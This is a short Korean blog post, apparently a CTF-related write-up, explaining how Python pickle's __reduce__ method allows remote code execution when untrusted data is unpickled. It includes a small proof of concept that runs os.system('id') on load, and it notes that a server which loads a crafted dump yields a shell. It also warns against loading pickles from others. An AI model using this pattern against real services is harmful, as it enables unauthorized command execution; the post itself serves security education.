이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.

pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다.


애초에, pickle이 안전하지 않다.

다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다.


취약점은 __reduce__ method에서 발생한다.


unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다.


  1. import cPickle
  2. import os
  3.  
  4. class exploit(object):
  5.   def __reduce__(self):
  6.     return (os.system, ('id',))
  7.  
  8. pd = cPickle.dumps(exploit())
  9.  
  10. cPickle.loads(pd)

예시는 이와 같다.


class를 하나 만들고, __reduce__ 메소드에서, (함수, (인자,)) 를 리턴한다.

그것을 dump해서 pd로 넣어두고,


마지막에 loads(pd)를 할때, 커맨드가 실행 된다.


즉, 덤프 한것을, 서버에서 로드만 하도록 유도한다면, 쉘을 딸 수 있다.

posted by tunz